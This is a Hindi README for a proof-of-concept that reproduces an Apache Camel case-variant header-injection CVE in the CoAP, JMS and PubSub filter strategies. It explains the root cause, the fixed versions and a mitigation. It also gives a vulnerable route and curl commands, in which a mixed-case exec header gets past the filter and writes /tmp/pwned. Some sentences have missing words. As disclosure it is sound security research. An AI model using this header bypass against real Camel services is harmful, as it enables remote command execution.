
CVE-2026-40453 के लिए रिप्रोड्यूसर: Apache Camel केस-वैरिएंट Camel हेडर इंजेक्शन (CVE-2025-27636 का अधूरा फिक्स)
यह प्रोजेक्ट CVE-2026-40453 को प्रदर्शित करता है — CVE-2025-27636 के लिए एक अधूरा फिक्स। 2025 के फिक्स ने HttpHeaderFilterStrategy में setLowerCase(true) जोड़ा ताकि केस-वेरिएंट हेडर नाम (जैसे CAmelExecCommandExecutable) को कैनोनिकल CamelExecCommandExecutable के साथ फ़िल्टर किया जा सके। वही कॉल पाँच नॉन-HTTP HeaderFilterStrategy इम्प्लीमेंटेशन (camel-jms, camel-sjms, camel-coap, camel-google-pubsub) पर की गई, जो केस-सेंसिटिव तरीके से फ़िल्टर करते हैं जबकि कैमल एक्सचेंज हेडर को केस- मैप में संग्रहीत करता है। इसलिए एक हमलावर केस-वेरिएंट कंट्रोल हेडर इंजेक्ट कर सकता है जो फ़िल्टर को बायपास करता है लेकिन फिर भी डाउनस्ट्रीम घटकों (, , ...) द्वारा अपने कैनोनिकल नाम के तहत हल किया जाता है → / मनमाना फ़ाइल लेखन।
Camel*camel-execcamel-fileयह रीप्रोड्यूसर camel-coap के साथ बायपास को प्रदर्शित करता है (स्व-निहित, कोई बाहरी ब्रोकर नहीं); वही दोष JMS/SJMS/Google-Pubsub रणनीतियों को प्रभावित करता है।
| गुण | मान |
|---|---|
| घटक | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (यह PoC camel-coap का उपयोग करता है) |
| प्रभावित वर्ग | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| मूल कारण | केस-सेंसिटिव startsWith("Camel"/"camel") फ़िल्टरिंग (कमी setLowerCase(true)) बनाम केस-असंवेदनशील एक्सचेंज हेडर मैप |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) — मैसेज हेडर इंजेक्शन |
| प्रभाव | RCE / हेडर-संचालित प्रोड्यूसर्स के माध्यम से मनमाना फ़ाइल लेखन |
| प्रभावित संस्करण | 3.0.0 से 4.14.6 से पहले, 4.15.0 से 4.18.2 से पहले, 4.19.0 से 4.20.0 से पहले |
| फिक्स किए गए संस्करण | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (CVE-2025-27636 के फिक्स को पूरा करता है) |
| रिपोर्टर | सरोज खड्का |
CoAPHeaderFilterStrategy (प्रभावित संस्करण) Camel* को केस-सेंसिटिव तरीके से फ़िल्टर करता है:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
जब कोई CoAP अनुरोध आता है, CamelCoapResource.handleRequest() प्रत्येक URI-query पैरामीटर को एक्सचेंज इन हेडर में मैप करता है, जिसे strategy.applyFilterToExternalHeaders(name, value, exchange) द्वारा नियंत्रित किया जाता है:
CamelExecCommandExecutable — startsWith("Camel") true है → फ़िल्टर आउट।CAmelExecCommandExecutable — startsWith("Camel") false है (CAm ≠ Cam) → फ़िल्टर नहीं किया गया।एक्सचेंज हेडर मैप केस-असंवेदनशील है, इसलिए केस-वेरिएंट हेडर बाद में exec प्रोड्यूसर द्वारा अपने कैनोनिकल नाम CamelExecCommandExecutable के तहत हल किया जाता है, जो कमांड को ओवरराइड करता है।
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
4.14.6 / 4.18.2 / 4.20.0 में अपग्रेड करें। फिक्स (CAMEL-23313) पाँच नॉन-HTTP HeaderFilterStrategy इम्प्लीमेंटेशन में setLowerCase(true) जोड़ता है ताकि केस-वेरिएंट Camel* नाम भी फ़िल्टर हो जाएँ।
अपग्रेड करने तक:
HeaderFilterStrategy जिसमें setLowerCase(true) हो, या केस-असंवेदनशील पैटर्न के साथ removeHeaders।CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
यह रीप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और फिक्स की गई भेद्यता के लिए। इसे बिना स्पष्ट अनुमति के सिस्टम के खिलाफ उपयोग न करें।